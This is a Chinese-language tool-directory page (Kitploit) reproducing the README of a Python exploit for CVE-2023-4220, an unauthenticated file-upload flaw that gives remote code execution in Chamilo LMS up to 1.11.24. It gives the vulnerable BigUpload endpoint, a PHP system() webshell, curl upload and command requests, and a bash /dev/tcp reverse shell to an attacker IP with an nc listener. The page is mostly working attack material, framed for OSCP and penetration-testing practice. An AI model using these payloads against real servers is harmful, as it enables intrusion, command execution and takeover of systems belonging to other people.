Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — 在 Chamilo LMS ≤ 1.11.24 中的未经身份验证的文件上传RCE。OSCP风格和自动利用。 | Kitploit
工具/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — 在 Chamilo LMS ≤ 1.11.24 中的未经身份验证的文件上传RCE。OSCP风格和自动利用。

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ChamiloLMS CVE-2023-4220 漏洞利用工具

Python 漏洞利用脚本,针对 CVE-2023-4220,这是一个影响 Chamilo LMS <= 1.11.24 的未经认证的任意文件上传漏洞。

该漏洞位于 Chamilo 的 BigUpload 组件中。在易受攻击的安装中,上传处理程序允许在没有适当验证的情况下上传 PHP 文件。由于上传的文件存储在 Web 可访问的目录中,如果启用了 PHP 执行,上传的 PHP 文件可以直接被请求并用作 webshell。

此仓库包含两个版本的漏洞利用脚本:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

两个脚本都会上传 PHP webshell,验证命令执行,并允许通过 cmd GET 参数运行命令。唯一的实际区别在于 --shell 的处理方式。

auto 版本会启动自己的监听器,触发反向 shell 并自动切换到交互式会话。

oscp 版本会触发反向 shell 负载,但不会启动监听器。运行前必须手动启动监听器。


安装

克隆仓库:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

安装依赖:

root@kitploit:~
python3 -m pip install -r requirements.txt

唯一的外部依赖是 requests,因此也可以手动安装:

root@kitploit:~
python3 -m pip install requests

使用

目标通过 -u 或 --url 传递:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

两个脚本都提供相同的选项:

root@kitploit:~
-u, --url              目标基本 URL
--check               检查 BigUpload 文件目录是否可访问
--upload              上传 webshell 并验证命令执行
--cmd CMD             通过已上传的 webshell 执行单个命令
--shell LHOST LPORT   触发反向 shell
--filename NAME       为上传的 PHP 文件使用自定义文件名
--proxy PROXY         通过代理发送流量,例如 Burp Suite
--timeout SECONDS     设置 HTTP 超时
--verify-tls          启用 TLS 证书验证
--cleanup             尝试在执行后移除上传的 webshell

自动版本还包含:

root@kitploit:~
--listen-timeout SEC  等待反向 shell 连接的时间

基本示例

检查预期的 BigUpload 路径是否可访问:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

上传 PHP webshell 并验证命令执行:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

运行单个命令:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

使用自定义文件名:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

通过 Burp Suite 发送流量:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

上面的示例使用的是 auto 脚本,但相同的语法也可用于 chamilo_cve_2023_4220_oscp.py。


反向 Shell

两个脚本都提供了 --shell 选项,但其行为因使用的版本而异。

自动版本

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

此版本会在 10.10.14.3:4444 上启动本地监听器,上传 webshell,触发反向 shell 并自动打开交互式会话。

使用此版本时无需手动运行 nc。

OSCP 风格版本

首先手动启动你的监听器:

root@kitploit:~
sudo nc -nlvp 4444

然后在另一个终端中运行漏洞利用脚本:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

此版本仅通过已上传的 webshell 发送反向 shell 负载。连接由你手动启动的监听器接收。

两个脚本触发的反向 shell 命令等同于:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

确保 LHOST 值能够从目标访问。在 VPN 环境中,这通常是你的隧道接口地址:

root@kitploit:~
ip -brief addr show tun0

漏洞详情

CVE-2023-4220 影响 Chamilo LMS 版本最高至 1.11.24(含)。

易受攻击的上传处理程序位于:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

漏洞利用脚本滥用的操作是:

root@kitploit:~
?action=post-unsupported

上传的文件通常可以从以下路径访问:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

漏洞利用脚本使用 BigUpload 期望的表单字段发送 multipart/form-data POST 请求:

root@kitploit:~
bigUploadFile

上传的 PHP 负载是一个小型命令包装器:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

命令通过 cmd GET 参数传递:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

命令输出周围的标记用于提取 HTTP 响应的相关部分。


手动请求

脚本执行的上传操作等同于:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

上传成功后,可以使用以下命令测试命令执行:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

注意事项

--check 仅验证预期的 BigUpload 文件目录是否可访问。肯定结果并不保证目标存在可利用漏洞。

完整验证需要上传 PHP 负载并通过 --upload 或 --cmd 确认命令执行。

如果上传成功但命令执行失败,可能是上传目录禁用了 PHP 执行,目标已打补丁,或者服务器端规则阻止了请求。

如果希望脚本在执行后尝试移除上传的 PHP 文件,请使用 --cleanup。

下载工具